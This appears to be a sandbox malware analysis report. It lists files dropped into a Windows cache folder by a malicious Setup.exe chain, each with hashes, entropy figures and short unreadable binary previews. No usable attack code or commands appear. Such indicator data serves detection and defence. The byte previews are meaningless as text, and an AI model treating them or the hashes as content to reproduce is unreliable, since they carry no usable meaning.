SHA-256:	1300262A9D6BB6FCBEFC0D299CCE194435790E70B9C7B4A651E202E90A32FD49
SHA-512:	32DE0D8BB57F3D3EB01D16950B07176866C7FB2E737D9811F61F7BE6606A6A38A5FC5D4D2AE54A190636409B2A7943ABCA292D6CEFAA89DF1FC474A1312C695F
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: 9W9jJCj9EV.bat, Detection: malicious, Browse Filename: c2.hta, Detection: malicious, Browse Filename: c2.hta, Detection: malicious, Browse Filename: RisingStrip.exe, Detection: malicious, Browse Filename: Active_Setup.exe, Detection: malicious, Browse Filename: CenteredDealing.exe, Detection: malicious, Browse Filename: CenteredDealing.exe, Detection: malicious, Browse Filename: over.ps1, Detection: malicious, Browse Filename: MatAugust.exe, Detection: malicious, Browse Filename: 6684V5n83w.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........;..h..h..hX;1h..hX;3hq..hX;2h..hr..h..h...i...h...i...h...i...h..Ch..h..Sh..h..h..hI..i...hI..i..hI.?h..h.Wh..hI..i..hRich..h........PE..L......b.........."...............................@..................................k....@...@.......@.........................\|....P..h............N..X&...0..tv...........................C..........@............................................text............................... ..`.rdata..............................@..@.data....p.......H..................@....rsrc...h....P......................@..@.reloc..tv...0...x..................@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\R

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	data
Category:	dropped
Size (bytes):	505122
Entropy (8bit):	7.99966315183098
Encrypted:	true
SSDEEP:	12288:Jb6pw/Xt67+u8D9rIkGJWHF2Owfot+PieD73O:367+Ck2WlRV
MD5:	E59404C5A5787107CC8CB274AB149970
SHA1:	9A30F344C1F9E1FCCD5383C7F530D18DE39B2C0A
SHA-256:	B55119E36DFBF05434FF361764DAE01FD4D598AF37A558C30FB0F40A8EDC4B28
SHA-512:	D5798826F178DC363903AF43A14E647498EE681D77D7A827338EB9897008BF2D698DBCC66A045B80D87DC60B228CFF21DBFB62B07C8BE75BAB626F390A961938
Malicious:	false
Preview:	.~;...s...=.W.e1.q.R...5....=<..(.%.._..G..G:q.Z.._.e...+p..mz\..b.!..(..V....P....J..e....i...1.v...8"57.UF./..q...k.7..r....s.v...A....m..m.G...!.5?....Lix..ms..0......V......bh...%...`R...cH...../#....6q...9.S..m.[.^...xt.&...2E..3..P\.m.L.....H.F..d...\|i..DM...y......1..i..=.9h....:S.fX7...n'nf.....3..T.l+.w.aN7C.#..g....hx.. }.2.!n..=s:.-Z.7.B...O-8...\l../E...q.y9-.;...@.9..&..6.....^.7+l!....P."`.~[6\\|".i...!.?...HOnvX.I......S..:GO.Ct..[^#..oP..v...%..=.y......c.w.....\i..X.vU...!r...AL.Qn.p.Y...>Sj+....!.f..2...S..SR.....\|.n.t..MJ..S.. ......]...Q......m.!..C..d.....3...j.,.\|..#@.K\|r_O{u..=U.....\|...{Jt(;A_.3. ..U.m..+x5.E...J&.b[x\..1.7.9.Y.U4....5...l....j{.9...9...n\|..a.E.....t..a ,D.C......[.MJ...j.4.8$'7..J.d.*....N.'......K)j.......e~......F..V..<...jI..Df..r.......v.7...A..^e.(..1.N....,..^..(>.n.w!.m..=.....JG...}.\|.........K.....K....U..$?..9^;%<.N....M.F.Rnb...Lk...'.....u.X.%hU....HK..lJ..LS...H}AU3!EA06M..s$.<.z..g..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Bm

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	112640
Entropy (8bit):	6.6103828622993115
Encrypted:	false
SSDEEP:	3072:zowS2u5hVOoQ7t8T6pUkBJR8CThpmESv+AqVnBypIbv1G:sb2j6AUkB0CThp6vmVn0
MD5:	EF7B92A852BB3C322C8AC2F87F9CC32B
SHA1:	281826C69F34D16AB92EBA0C1F2E55DD504EB132
SHA-256:	DC49A9EF92F8C8D08B1023CE717033DFDDD79CD9F8C53585CD0715812662419B
SHA-512:	23741F1C9BB550A9C2C5DA9E161DC2DA14C3890DF9E8BD00BAEF11D89D84024891726FD6055E79B8DB9D586C4619F3DC4E2A2CF6E219094079B0F1AF68C788EB
Malicious:	false
Preview:	.P.\!...M... ...M... .._^..[....U....SVW.M...!...u..}....E..X...;_.......3..E.8E.t.S.....f.8{u..C..E......3..E..M..g....5P...y......P.x...Y..t&..Q.E...A.....X....M....P.......;G.\|..u.......}....Yt..}..t!..;G.t.P.......f.8}u......E.......M..*..._^..[....U..V....D.I..&....v...b...E..Yt.j.V.b..YY..^]...V....u..j.V.b..YY..^...U..W......tV.G.V.0......u..p.....3.j.Z............Q.b...O....1V.....u.V.....G..0.kb...G... .0^_]...U..V.u.Wj.h..I.V...=........u....3.@_^]...j.h..I.V..........u..G....j.h..I.V..........u.S.N,.b.....V...V...V.7...Yj"[..LF.f;.t j'Zf;.t....f;.t.f;.t..O.V...P...f9.t.3...3.f.LF..F..O.P...R.3.GV.a..Y..[.S...U..S.].VW.}...j.Z.49.A...3.u..F..........Q.Sa.........VQW.Xq...33..M....f..>..~.f1.G@;.\|..._^[]...U..X ...g...S.].VW.........=..I.......h....P.5 4M.j...5..I.P.......P.M..~...h..........P.u.j...P.......P.M..Y...S.#...S.E..=...S.......M.......E.PV.............t..u.Wh.tL.P.[].......Wh.sL.P.J]...........P.M.......]..M.S.9......I..M.V.+....M.......}..\|

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Diagram

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	123904
Entropy (8bit):	6.44904001705591
Encrypted:	false
SSDEEP:	3072:7mLthfhnueoMmOqDoioO5bLezW9FfTut/Dde6u640ewy4Za9coRC2jfTq8Y:iphfhnvO5bLezWWt/Dd314V14ZgP0B
MD5:	CF95CCEF30A0A6799AEB5B00461CA7B6
SHA1:	80D2B05EAC6D32BF00BB02D6496B2D3718505CAF
SHA-256:	4B8C552E44CA7F0605051C6DDBBBE7818A6EF88C06ACA1E2AF1490738A1AF19B
SHA-512:	DE7879E7A73116DFDBCE52C448E3B5621A40B43EC5D1A88CF6C6AED2C14077EE0566372A1338CD91D30584353B2CD9D35C55946B3BCFD973EF5DE7F0E59DF8C3
Malicious:	false
Preview:	P.......u.Q.E.PQj..E...P.E.P.E.P......H..D1.8\1.t..@8.U..P..D1.8\1.t..@8.X..E.P...@M...p.I..M..]..].....M..E...I..D#...u....Y.M..g..3._^[....U.......SV.M..M.W.Ri....d....Gi....t....<i...u..}.j.Y3....U....M...D...3..F.....S.......Y..y..........}..U..M.j.XW.u.f.E...D...P.:................SSSj.j.SSj.S....I.j..E.SP......M..U.......9]........u..M..E.........h0.I..M.........u..E..E.E.].]......u.;u.v..E.E...T....Ih...u..E.SP..T....U....T...P..d....g....T....>f....d....M..E..h....E.F.j.P..4...P......t...;.t.P.Hg....4.....e....t....E..x....E..t.W.}......Y.E....].].E..E......E..E..E......]..]..E......]..E....].j..E..].SP.....E.....E.E..E.d.J..].Pj..E.Pj.S..D...P....I..u.....<.I...xf.u...x_.E.9].t(..t$h.....M.Q.u..u..u..u..u.P....I....E.E...u.@.x.L....E.. ..x..M..E.P......E.P...Q.....]..u.Q.M.SV.w......t.....d....d.....d...M..d.._^..[....U....SV.u...W.........U..:..........J.....u.j.h.L.j.j.............t..u....u.VR.u............~..uM.6......u.../...E....0

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Firewall

Download File

Process:	C:\Users\user\Desktop\Setup.exe
File Type:	data
Category:	dropped
Size (bytes):	74752
Entropy (8bit):	7.997320215629215
Encrypted:	true
SSDEEP:	1536:iugaBVITbtjqUOwTIMwkSdghZ/e94vqXCrTpEOCaSCveW:AaBVITbc0IMwkSdg6LXCxEOUy
MD5:	93FA1ABF956F5F09E6C76E6A0A00A1E8
SHA1:	3B2FC5EB697D7CEE1D6D190C3D27F9E32C8D4EE0
SHA-256:	79AAFE29A567A7DF1D56898A12F3F6DB0B6F68A56D586548E1E49C69752F2877
SHA-512:	AF3055002BAA5239F9A0A76D2BF9867257DEE668CA61C759D24D4771F506B40BC9EADB3879C121AD56B2091734CAEB0E970A3F81A2AB57AB2A2FBDA127E215C4
Malicious:	false
Preview:	.~;...s...=.W.e1.q.R...5....=<..(.%.._..G..G:q.Z.._.e...+p..mz\..b.!..(..V....P....J..e....i...1.v...8"57.UF./..q...k.7..r....s.v...A....m..m.G...!.5?....Lix..ms..0......V......bh...%...`R...cH...../#....6q...9.S..m.[.^...xt.&...2E..3..P\.m.L.....H.F..d...\|i..DM...y......1..i..=.9h....:S.fX7...n'nf.....3..T.l+.w.aN7C.#..g....hx.. }.2.!n..=s:.-Z.7.B...O-8...\l../E...q.y9-.;...@.9..&..6.....^.7+l!....P."`.~[6\\|".i...!.?...HOnvX.I......S..:GO.Ct..[^#..oP..v...%..=.y......c.w.....\i..X.vU...!r...AL.Qn.p.Y...>Sj+....!.f..2...S..SR.....\|.n.t..MJ..S.. ......]...Q......m.!..C..d.....3...j.,.\|..#@.K\|r_O{u..=U.....\|...{Jt(;A_.3. ..U.m..+x5.E...J&.b[x\..1.7.9.Y.U4....5...l....j{.9...9...n\|..a.E.....t..a ,D.C......[.MJ...j.4.8$'7..J.d.*....N.'......K)j.......e~......F..V..<...jI..Df..r.......v.7...A..^e.(..1.N....,..^..(>.n.w!.m..=.....JG...}.\|.........K.....K....U..$?..9^;%<.N....M.F.Rnb...Lk...'.....u.X.%hU....HK..lJ..LS...H}AU3!EA06M..s$.<.z..g..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Gap

Download File

Process:	C:\Users\user\Desktop\Setup.exe
File Type:	Microsoft Cabinet archive data, 489559 bytes, 12 files, at 0x2c +A "Skill" +A "Surely", ID 8053, number 1, 29 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	489559
Entropy (8bit):	7.998531568264796
Encrypted:	true
SSDEEP:	12288:wISAlnyy0vvs5ifUC1tcQsWotZZp+EbUDL5UeHOnhlqIppm8:wWnyy0ns81OQslplwtUe4pp
MD5:	8551C994295DBAF5342FC97BC8191885
SHA1:	43E94E01568015DCA01BE83FD53C1B6EB213AE30
SHA-256:	42B80AAF9D51F5C06252086D514F75855AE08D45A7F911149BDA20EA95D68F9F
SHA-512:	B75761565B000283F56AD3028C22A56AF80B2D73245541C3C244C3D55BE038D9068C9EBA4DD3A2DB18B9A9B8BC9AAEE3C2F2A8DD4269E79B5E17248DAD82EE37
Malicious:	false
Preview:	MSCF....Wx......,...............u...F........,........"Z.. .Skill..x...,...."Z.. .Surely..........."Z.. .Value.}....h...."Z.. .Shower.....}q...."Z.. .Bm.."..})...."Z.. .Pics....._L...."Z.. .Vid....._8...."Z.. .Lightweight....._ ...."Z.. .Prohibited....._....."Z.. .Diagram..D.._....."Z.. .Pensions..4.._@...."Z.. .Temperature...`..P..CK.9.XS..'....&(..Yp.%7I]..@.R\..S.J.Z(h.BUT..!.-..m..;...ZD....p...X.j..fN..........>.....93sf..r....X2..'#I<.E....&c...%..o$.M...I4......%.)<~}.....0?.......8...I(..!jX.T../.....M..~..B,....H#.Bh).1d4..........w...[..c........(.X..8'....w...6..n.#.7.Lw.:Aj..D,..CD..../...X:6..u..=...{i_.~..R.a4..b`](.d.g,\|#......)M.n.?...=.6.c......le..R.2..._....hD.$J.Wk.X4.j)..&Z...N.L..;h..0....m...t..7r...S.....W.......i'.q".`.X.%<.......7.W.^.........~....E..8.h.....&`j.3...D.....5..c....a_.......fY..^}-X.H..b.5LX.p.Ms.....h4=D"3iXe.R.L-gY..L.#b.R.b.V.j.V-2....-.@.J?.F#2...Q..J*W....0..@...es.J..4l...R&..N)Y..j........B.....L..:.....SJ.+..U

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Infrastructure

Download File

Process:	C:\Users\user\Desktop\Setup.exe
File Type:	data
Category:	dropped
Size (bytes):	77824
Entropy (8bit):	7.997533253237912
Encrypted:	true
SSDEEP:	1536:pLA9Yj/yC9tD+pItDpy9tVDMQ6gJxQ3F6/1nOEKoRgSNJW:9yYrySD+i2DM1gJx0samY
MD5:	8484D3B7EBD3A4B441B972E506A1AEE6
SHA1:	C8D4DB6BC9AF210667C0FB5081F9423F942937BD
SHA-256:	86FCC5536F55C6B32BFB0FB54AAF69A8258ACB236D124707D5E79A76F919E93D
SHA-512:	4591027405A7AFA294736F922F581F9FFEF46EAFD8EC5DE49B978B815C3ECD1E415467332CF23562675F5D98EDFC0992A7C6621AD36FC49CABDE20E558834D9E
Malicious:	false
Preview:	.>n&P.u.g..s-.....y.h...#.`../.p.O0+A..0..J@.n..u.+]..z...m.G...}&...D.....+;.._..}..;....D......~.Z.......^.\|.w..iW=.,Dr......CI!..MU...<bDP..T.....bG...6. 3d..v.l.v.E"...,.....V.....fU\|....V.D.+={.x'....Ww....E ...\|'...8W..p.4I.w...jc..-9...dA;..3r+.....<..C...e.p.5q.m.2....LS..-D.H../.8.......W..3....................w.[.O..Q..J.0.,.9z........+c...uTI.=^z..P...-..g....:.......C..lZE}..!O.#........?.w.'...........N..<,I..d.D.:Y..-h.3..,...myu.0.RX:Mi..u..O/..~..w...H\&pgxe...5.U\|7....~.......$.Qq.I....Ou6....?1t...]Z.r..J.j.w@.,y.4.\|..A.=..6.\.~%lw.f......E}q...+..<C.W....']R.N..Uc...3.....5n.\|...dl-u..g......6.hl..iT]6W.....Ng....rz.....;..0Y.<+..n].h..J.._T.6..:.$. ...U}...-6E..e..S....d..U..,.^.,.Bq.s......~.vEYs.#kG....U.\A....N./....+.1..4>.n.A...VP.R..1..@?..B..S.W2/.V2..yn:.@....y.-..k......maT.!..W.\|1G.Q......F.........&.....(.=Z\......d....v..a....5....../..9..E`.....O.>..m..w.?..@ ......{.'d.#.?..I...fh.x...'H.w......<

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Introduced

Download File

Process:	C:\Users\user\Desktop\Setup.exe
File Type:	data
Category:	dropped
Size (bytes):	78848
Entropy (8bit):	7.997565207236057
Encrypted:	true
SSDEEP:	1536:x9rCrNoGP4cfvtEmGdb9tOxAPfXqmaHW6BhMSXedR:xABr4CVHItOGk2qhFedR
MD5:	45786914AB6E4FFFC1F9D5CFA88473A7
SHA1:	B0D5D9747F32647D20C6D1ED1ED127D9AC8D113B
SHA-256:	B08DB981476D928B52495574C51F24176C80943F326BA8BA157B8EAB6639EB45
SHA-512:	8B7698EFF9F196FDFCA54B9661F3C12DC91D2743215881DB2C69990388AF6B38BE57907BDDF204C538B1A7F6EAE97376B12B7520CF3C0B1B4B9E0F146A246166
Malicious:	false
Preview:	`.x\|0.>...>...q...Q....C.X...\.P\|....LN..D.i.dP....;..>I.'.....=c.:..Bh-u....\.....q[.B.....#.^.W.\|-.......L.k%.P.5...9.2>......u.).a..D..`N{hT.)Fd0.P........S..8.C..bl.e..S.p..l...Z.i...%...<.I?.1....[..U7...p. ..fc....v........<".....KDg.....h..q. ....!.\|S..&....q........~!..o.X......x..$..5....}1...og........;.5...H......,qj.i.~N...4......r.E.....Y908...9..K.E...S..p.-8k.v.4../n~..._.t.$8O].m. .l.M..7...@..r.p.@...Y...WOt....e...k)..l.+.?z.{\|....o...k.{.....,f.fl.BI.<6.../.{..c.... .c!.@...U...Q............5=.a..LO...T...:.&.0o.... 8....u..4.h....`.${.......d ....q.>...>i$.6Y.\X.Iu...tBU..{.q....rJr.....:.{..b..4.IU..O..F........y=......0y..........*H}......`..B.`(..../m.mm...?.....(.j..\|....Q.......)\PI.,..w..43.^...-.#W..."./t...84..LPcu.D.....~..;..hp7..>.t!/..j...q..^ .e.m=...#`lA.D...0......'A8..T....?..>:$F....2.....".;...]z.1.)..fS\|...lh...i\|L....Qy(..~..uq.=W5i[4.c.vD6q..XZ1..#...-.Y.....uU@A....#.....&..C......._(d..H.....4d.s.gN

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Lease

Download File

Process:	C:\Users\user\Desktop\Setup.exe
File Type:	data
Category:	dropped
Size (bytes):	24866
Entropy (8bit):	7.992611866173262
Encrypted:	true
SSDEEP:	384:Yb5Hdm12nftSUFN5DBrIvr/LschFTFq9EaGJPoHXIgGHSnfIxLUCinosr:WHdm12130b3hnayPo3I/HSfIxzinosr
MD5:	3339D864370A4663433C2E085A7A16AD
SHA1:	DD0D727EF48ABA2491417A47625A49871BEB5D92
SHA-256:	756B0060498FCC33BEA3AFB4776912EBB4B6ECE8EB9238EFE37AFF8826FD4DC0
SHA-512:	561C1015FA1A937DB78B37665B3CDC42DADFB3941D55FBE807DF25BC4DF462C4845D3D062C8B913D4637B0D0585B6D937E488263F1772F4E215E3C9EBF2CA76B
Malicious:	false
Preview:	u.G..{.....>..FOdS.T......>B,._.^#.F.....([).F..?.9...91M^t@...a.J@....$b........#....^..$.h.@...n.?L...4.sw./j.cTJ....v..N.I=."7t;Q&...!.,.~U:....x)..z..(;...I..i.U.U..]-.r9.X.^..=.q..........ew$sO.....N9..y.<............}.( ...1..w....9 ..f.uy.[7O....;l..B...0...T<=T.r.....F.......f...._..v.E..x..dpC...o.z.(.4..../.<.....L.qI.E. 5.5\|+.....rd.gim.4.t.a._...wVD..m...KI..7.....9I.NP.?H........anufl(....&..E)..!...._eN3.p.=...l%..#xmC@DV.X'LPJv.L.......7&p...J@.].S6.......@Q8..........G.E....G3t.:.\|.zc.-.. .R..o..[._...d.D0..N.E..QH..9......,SU...t.U...jV@...if,....i.;......qrO.dT.m...1.J{.V..T.+.......q...c...y..X.}.5JFO..;.C..h6..z/P[.!.cx.@>....N."."d{.<...^,....J..9.3'..A.6...U.a..a..C..q.....7Q .d..o..w.B&hV....G......?..VE.k.....8..D.2..h.kD..EhY.rX.D.".g.f..TI3...P......U\| E..P4<.!..X..f{.(./..0..8..#9G .x\.9.`Z..l.t..l%x..C.R].........k..s..G6....(\uK.q}h..z.4].u..&O..q.....!u..9..^.........M..-l...Vh........N.#....}......

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Lightweight

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	59392
Entropy (8bit):	6.554374404595576
Encrypted:	false
SSDEEP:	768:pOWrM81EyJqx9EdzGGXZVfmlqTmN5WAQIGK2ud5lS87uzh7JCQ/sE7mOB6XSHuvJ:AAD1EsdzVXnP94SGGLpRB6M28eFvMu
MD5:	4A9973318E69E5FAAE764083CAECE51E
SHA1:	AEDB85551F03F94B1F846E7EDE93D9045C8DCB30
SHA-256:	EC7DC2C756910F4EF4392FC94CD070F4C2B7764444A74206AD6942468B29A1D6
SHA-512:	729CC7084A473F12425F585EBA7C05C019B07EC7ADE819F109FB836B5308D6A35C643EE357EC2B2F79F71DE8A06794D65AFBD328FE058BEF4CA888D032B4608F
Malicious:	false
Preview:	)M..... ..5.)M..E.N.5.)M.;.L)M.u...L)M....D)M.........._..^u..5.)M.j.....I..%.)M....D)M...t..@)M..D...8.u..<)M...........U..E.VW.@......P......u..........>3._.F.....^]...U......`.D$.V.u.WP.D$.PV..............L$..@)M..T$..L$........T)M..L$.....8.\|$..............'........P............H..............a...WQ.P....7..<.I..t$...D.........d.........h.........P........D$.;F.t.P.....3.@_^..]....L$..N...3...U..V.u.;5t)M.........T)M........t.Q......T)M..... ...`)M...T)M.;5d)M.u....\|.....8.u.N...5d)M...X)M.^...v..D...8.t.]...I..X)M.j..4......T)M.YY..X)M..$....X)M....v..T)M...x)M....t)M...T...V..Np......NT....N$....N....h....V.C...YY..^...U..VW.}.........M...tF.E.S..t.;.....uH.^.....Q.........;...a...........h....V......E.YY..t.[j.j..7..X.I._^].....u.........M...t...6..V..j..N..V..F..4......F.YY.N.^.$...SVW..j._..l...............u.Nl.....N(...h....V.U...YY_..^[...U...u...(M......U...t...@)M.......y..u&...)M...u...M.........Qj..u...x.I.].....)M...U...u...(M..H.....@)M..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Lower

Download File

Process:	C:\Users\user\Desktop\Setup.exe
File Type:	data
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	7.998093318151628
Encrypted:	true
SSDEEP:	1536:zU/jw7oPRSTTBo+4s14PAFWPyao+ZcnVt2PTsVDNYPCfFngJO5uvxvSPiViiKpUl:g8aRuQP8fGPWt5qx6PiWiDbt
MD5:	5462FE76C75711C21778C3B499FCD9A7
SHA1:	B9A151A87B65C37FD882D7A5EE4474CBEB748354
SHA-256:	EF7B4833A564E0890DE35338F825700340BDCADE0A49176121C34C6AF44621AA
SHA-512:	7D14F81BB7698BD8F3610202730F851D830B401F0FAE11A4C71BE5894E4E41737DF25EF97DE9BF39C6A89CA3E7F8C005FC87531B2CF6F8FFB9F5C4E5ABA5C7EA
Malicious:	false
Preview:	;......<.-..c..QR..x....j....Y.i..z...o........rxc"'..e.SA..)W.b.a....]R..b)..._}52w7....M..\|.........J..l...C.6..hY....I"..:o...>.W.I..8.%.nB&.......H...h.....>..%...rP..1....@.{...-....oF\q..U.s.m....Y.p.o..Q...........q....Q...k.?J?;y!j.......2.!.VVu.}0-..Q...`..\...&..f.../....VG.2....O.....Ry.\.[....u..."....n...P._m.W...?z...we&....g.B.v...v..<.j......^a....K././.>).a>@.2.R..i.=..M$.^.....M.....G.%.a....+]...#"^....-..$..J....Qw.....F...M.-8.83...Dg..i?J2q..y...7......z.o......?.U.....Q.........Q....7.g^z..D........W..=...]9aWT....{y.`{.].K.XW..f.z..WJ...._...fTly......G...Ro.....`... .....X.......F...f... ..U..{.gP.....<%R....$Y.Dj.M..]..F....}.d...... ^.]..rA..y.i9...)..K.W....&.E...jf..(.....b.{\.)5#....B.....Ih.oY.k........G....oO......>.7B.....z.UO.....@...p>."..[......,D@S....5PC^.O....#.E...\|..3........9G..2h.8....X.4Zg.Rb....(......F......;........pN.Mf.!.........:+2%R...P...%..H...*.()........ZN...E........7.2n....L....,.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Pensions

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	148480
Entropy (8bit):	6.703707789395142
Encrypted:	false
SSDEEP:	3072:vU4CE0Imbi80PtCZEMnVIPPBxT/sZydTmRxlHS3NxrH0:vhClbfSCOMVIPPL/sZ7HS3zI
MD5:	0C674B81D1B8738E9B536816B1AD5C91
SHA1:	0462072F00AB0C3D8907E083FF10E03663A56E81
SHA-256:	4F140AC392750CF3549FFA50CBE1026439373588B5164A55EED5AA86E4C50797
SHA-512:	813412A69EBD9A6ACB93A89C32174D74D8E8B66D0CBA29C036821DA9136A45ABE0D52177A16BFFF3D433A8AE71CE5449EFA675A484A145DBF41856D7224F792C
Malicious:	false
Preview:	...%...........!............t....t....u.!.....#..........#.........} .^t..AP.....AP.._[]..U..E....t.......w..`....."...]..S.....!...]..U..U... 3..9..`<J.t.@...\|......d<J..M..tU.E..E.E..E.E..E..E.V.u..E.E h.....u(.E..E$.u..E..&....E.P........u.V.U...Y.E.^..h.....u(......u..9....E .....]..U...E.......W..Dz...3.....Vf.u........u\|.M..U.......u...tj..........Au.3.@..3..E..u...M...y.....M...O.E..t.f.u..U......f#.f.u...t......f..f.u..E.j.QQ..$.1.......#j.Q..Q..$..........................^.E..8_]..U..QQ.M...E..E.%.....]............f.M..E...]..U..}......E.u...u.@].}.....u...u.j.X].f.M......f#.f;.u.j.......f;.u..E.....u...t.j...3.].j.h..L.....=4.M..\|[.E..@tJ.=..L..tA.e....U....E...8....t..8....t.3..3.@.e.%..L...e....U..E.........E...U..p.....U..Q.}.....E...]..U..QQ..}..M..E...f#M.#E.f..f.M..m...E...]..U..M.......t..-.=J..].....t.....-.=J..]........t..-.=J..].....t........... t....]....]..U..Q..}...E...].j.......0#M.3................U...........$.\$........f..D$

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Pics

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	8930
Entropy (8bit):	7.561364898878937
Encrypted:	false
SSDEEP:	192:sZeCeAH6N8VEVFJ84kcGNq4/C+Q3ISVSWMZMQ3rw:8eCVrVEVFJ8ZcGwGBk7/UMQ3rw
MD5:	CFCEB0700B3998964A633A489CDAEB64
SHA1:	C5135BCDC233E7C6305AEA27700D7FCE4EFE78C9
SHA-256:	731B9A7E8D392E552B727883D99F520024B29E0D28313738A56DA4706205A3D6
SHA-512:	77E2C170B0399254D6E5FFEA54836EAFFE4D47C5B864D44AB7F3F665CADFA25B672B91BA341C950ABD39F424E107C019027E7854B0C635872D915A315568FFA5
Malicious:	false
Preview:	rootr306..U.../0-0+.).'.%http://crl.globalsign.com/root-r3.crl0c..U. .\0Z0...+.....2.20...g.....0A..+.....2._0402..+........&https://www.globalsign.com/repository/0....H...............(......c'A..c}..6...]L..X...z.....3.\.b.....c...X....Y..2...M..#....i.JEe-MI.xf2..h......\..\.H?#s.;S.R.........xFY....K..jL.v...E..7.P..34...:..VD.o.3....`..2..$o.....vg....3U(.gG<.j........R.Q....<.J..e.7.SK~g\|.@.........lF.r..N...T..N...0...0.........8.Hn...04.J0....H........0Z1.0...U....BE1.0...U....GlobalSign nv-sa100...U...'GlobalSign CodeSigning CA - SHA256 - G30...200504083947Z..230804065017Z0b1.0...U....GB1.0...U....Birmingham1.0...U....AutoIt Consulting Ltd1.0...U....AutoIt Consulting Ltd0.."0...*.H.............0.........; .y.9.7.4i.V.h.....O.2N...N.V...xR:..]B........."....sf..s...............H...i.......uOjy.....Wg.P.M.H.c..s..T.4u....tPE.......f)......%...{. }.A.}~y._`..R.9.%....s./....8.by=>....f..X<f..Mp....L....:.}9:.1d.s}{.C......[dM.}i5.\.O.B Y.{.2.C.......

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Prohibited

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	63488
Entropy (8bit):	6.627050497288156
Encrypted:	false
SSDEEP:	1536:w+G/UXT6TvY464qvI932eOypvcLSDOSpZ+Sc:wpgF4qv+32eOyKODOSpQSc
MD5:	644A35348D18F92EDB8699850D8F2866
SHA1:	DDF18B6117BAEC11EE94CD05654FE3650E93B3DC
SHA-256:	F2A974919ABBF5D0D5C3DFE2728903717E2B69CBFD55E8458D0961A33BEA1937
SHA-512:	C15686CF73719F99A97C7AF5F112F003655CD4C60F7BD8547C87FBC727A13D8399835448DDF3E466CE495C8E351B4AFB1BD0550EE6BCA81E6405C33296182B28
Malicious:	false
Preview:	..I ......A2.. t-...t"...t.H...t....u..I ....I ....I ....I ...I .....X.....u.............2.....c.....u..a..........i...2....._.....u..B..........J...2.....Vj....T.....u.^.F.P..F1..H...P.b.....^.Q..A<.R..Q2..H...R.......Q..A<.R..Q2..H...R........V..W......F..N1.F<.......f.<Pt8.F.PQ..H.........N....F1.A..~1..F.u..............2....._^....y1t..A(P.C....A...A..@..A(..y..I(....f.y2t..A(P.v....A...A..@..A(..y..I(....A1<Fu...........Q....A......@...<Nu&..j.Z#.....1....Q...~............2..y,.u......j..............ItO..Lt>..Tt-..h.......A..8hu.@.A,.....A.......A,..........A,.........A,.........Q...<3u..z.2u..B..A,.....A.....<6u..z.4u..B..A,.....A..u<dt.<it.<ot.<ut.<xt.<Xu].A,.....T.A,.....K..lt*..tt...wt...zu7.A,.......A,.....%.A,.......A..8lu.@.A,.....A....A,.........A2..Fu...........b....A............Nu&..j.Z#.....A....Q..v}.........~...2..y,.u..j..............ItS..LtB..Tt1jhZ;........A.f9.u.....A,.....A.......A,..........A,..........A,.........Q......3u.f.z.2

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Rape

Download File

Process:	C:\Users\user\Desktop\Setup.exe
File Type:	data
Category:	dropped
Size (bytes):	83968
Entropy (8bit):	7.997972865148515
Encrypted:	true
SSDEEP:	1536:pCaYUeVtGvPb3rdwZe8u4gd1IhPGsOPEdRx4UyB7GmBPEu4LcwbejuLiClVs:pgUeVuPDZQ7IhsO+SZEuCc2eUies
MD5:	BD6567111E9801B5CE1E5BCB3024FA15
SHA1:	55E4F491FE2A962BF6CB19B1B4FE7586399D45E2
SHA-256:	FC018EDED4B251C497267C05B63C7B4D8E1AB4B91E6786D095F78A4FEE5187E7
SHA-512:	368DDDB1481A7C55ACF696895BD79004E41F93CF16F7D8F2ECB11C80052338EBBDFA420BF987C863A27441898E10E3DCDFE8461AAC4F8BF03C3BDDD40001A8A5
Malicious:	false
Preview:	...~y...e..U......q. T...$0.TA...]T..}UG.rw.N.))....K.FI.j.bc.I.i......BEYxZl.i.+..[W.....8J.....!\..0...}....<....3.cEN.^3h...:..s[.....u.3.khg.0...1.[...4....;.Bc..s...o..(*H.Ap..R.LAtN.O,.kJv...R...M..x.z.D..GP.vU...7UR.<.f.fl..a..P........K.q}0.,p...e.._..D...g`...a.R..W.......eL0Ys..I....g3T......4.O.%c.A.g~....VQ..?..b..x:..;u.K[.F.[.TH._....U....%..n0.9i.YF.e..{[!.w.i...n1..SaG...aS.......%..}.pD.]5\|..~....=k.2b.......',.>.......vz..A..Z.Z.x..uT~...E.n.jZ}fzb...v..lq...6..W.F.UQ.J-.{......U9.g.b..,...x.9.....~w.........@./EZ..Z.......y..1...$1..;wf.W.~..rU...9O>..sh.<.T.........c!dQ......j....i.mR....<.W...~.l.]x..N.....;5.....X]O...I..y<.Ky.....r.....@..p..x...O60...`.....B.C..\_Q.R......q.. 